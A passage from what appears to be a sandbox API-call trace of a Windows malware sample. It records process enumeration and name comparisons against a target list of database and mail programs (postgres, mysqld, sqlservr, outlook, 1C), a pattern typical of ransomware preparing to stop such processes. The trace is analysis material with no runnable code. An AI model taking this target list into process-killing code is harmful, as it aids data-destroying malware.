cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0071.195] lstrlenW (lpString="wininit.exe") returned 11 [0071.195] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0071.195] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0071.195] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0071.195] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0071.196] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0071.196] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0071.196] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0071.196] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.197] lstrlenW (lpString="csrss.exe") returned 9 [0071.197] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0071.197] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0071.197] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0071.197] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0071.197] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0071.197] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0071.197] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0071.199] lstrlenW (lpString="winlogon.exe") returned 12 [0071.199] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0071.200] lstrlenW (lpString="services.exe") returned 12 [0071.200] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0071.201] lstrlenW (lpString="lsass.exe") returned 9 [0071.201] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0071.202] lstrlenW (lpString="lsm.exe") returned 7 [0071.203] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.204] lstrlenW (lpString="svchost.exe") returned 11 [0071.204] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.205] lstrlenW (lpString="svchost.exe") returned 11 [0071.205] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.206] lstrlenW (lpString="svchost.exe") returned 11 [0071.206] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.207] lstrlenW (lpString="svchost.exe") returned 11 [0071.207] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.208] lstrlenW (lpString="svchost.exe") returned 11 [0071.208] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0071.208] lstrlenW (lpString="audiodg.exe") returned 11 [0071.209] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.209] lstrlenW (lpString="svchost.exe") returned 11 [0071.209] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.210] lstrlenW (lpString="svchost.exe") returned 11 [0071.210] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0071.211] lstrlenW (lpString="dwm.exe") returned 7 [0071.211] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0071.212] lstrlenW (lpString="explorer.exe") returned 12 [0071.212] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0071.213] lstrlenW (lpString="spoolsv.exe") returned 11 [0071.213] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.214] lstrlenW (lpString="svchost.exe") returned 11 [0071.214] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0071.215] lstrlenW (lpString="taskhost.exe") returned 12 [0071.215] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0071.216] lstrlenW (lpString="taskeng.exe") returned 11 [0071.216] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0071.217] lstrlenW (lpString="developingthousands.exe") returned 23 [0071.217] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0071.218] lstrlenW (lpString="efattack.exe") returned 12 [0071.218] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0071.219] lstrlenW (lpString="feedback.exe") returned 12 [0071.219] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0071.220] lstrlenW (lpString="happy blond engage.exe") returned 22 [0071.220] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0071.221] lstrlenW (lpString="controller_type.exe") returned 19 [0071.221] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0071.222] lstrlenW (lpString="donations_berry.exe") returned 19 [0071.222] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0071.223] lstrlenW (lpString="lindsay.exe") returned 11 [0071.223] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0071.224] lstrlenW (lpString="columnists.exe") returned 14 [0071.224] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0071.225] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0071.225] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0071.225] lstrlenW (lpString="chose.exe") returned 9 [0071.226] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0071.226] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0071.226] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0071.227] lstrlenW (lpString="methods.exe") returned 11 [0071.227] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0071.228] lstrlenW (lpString="circulation.exe") returned 15 [0071.228] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0071.931] lstrlenW (lpString="suited.exe") returned 10 [0071.931] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0071.933] lstrlenW (lpString="infrastructure.exe") returned 18 [0071.933] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0071.934] lstrlenW (lpString="manager_olympic.exe") returned 19 [0071.934] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0071.935] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0071.935] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0071.936] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0071.936] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0071.938] lstrlenW (lpString="3dftp.exe") returned 9 [0071.938] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0071.939] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0071.939] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0071.940] lstrlenW (lpString="alftp.exe") returned 9 [0071.940] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0071.942] lstrlenW (lpString="barca.exe") returned 9 [0071.942] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0071.943] lstrlenW (lpString="bitkinex.exe") returned 12 [0071.943] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0071.944] lstrlenW (lpString="coreftp.exe") returned 11 [0071.944] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0071.945] lstrlenW (lpString="far.exe") returned 7 [0071.946] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0071.947] lstrlenW (lpString="filezilla.exe") returned 13 [0071.947] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0071.948] lstrlenW (lpString="flashfxp.exe") returned 12 [0071.948] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0071.949] lstrlenW (lpString="fling.exe") returned 9 [0071.949] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0071.951] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0071.951] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0071.952] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0071.952] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0071.953] lstrlenW (lpString="icq.exe") returned 7 [0071.953] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0071.954] lstrlenW (lpString="leechftp.exe") returned 12 [0071.955] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0071.956] lstrlenW (lpString="ncftp.exe") returned 9 [0071.956] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0071.957] lstrlenW (lpString="notepad.exe") returned 11 [0071.957] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0071.959] lstrlenW (lpString="operamail.exe") returned 13 [0071.959] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0071.961] lstrlenW (lpString="pidgin.exe") returned 10 [0071.961] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0072.474] lstrlenW (lpString="scriptftp.exe") returned 13 [0072.474] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0072.476] lstrlenW (lpString="skype.exe") returned 9 [0072.476] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0072.478] lstrlenW (lpString="smartftp.exe") returned 12 [0072.479] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0072.480] lstrlenW (lpString="thunderbird.exe") returned 15 [0072.480] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0072.482] lstrlenW (lpString="totalcmd.exe") returned 12 [0072.482] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0072.484] lstrlenW (lpString="trillian.exe") returned 12 [0072.484] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0072.486] lstrlenW (lpString="webdrive.exe") returned 12 [0072.486] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0072.487] lstrlenW (lpString="whatsapp.exe") returned 12 [0072.487] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0072.489] lstrlenW (lpString="winscp.exe") returned 10 [0072.489] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0072.491] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0072.491] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0072.493] lstrlenW (lpString="active-charge.exe") returned 17 [0072.493] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0072.494] lstrlenW (lpString="accupos.exe") returned 11 [0072.494] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0072.496] lstrlenW (lpString="afr38.exe") returned 9 [0072.496] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: 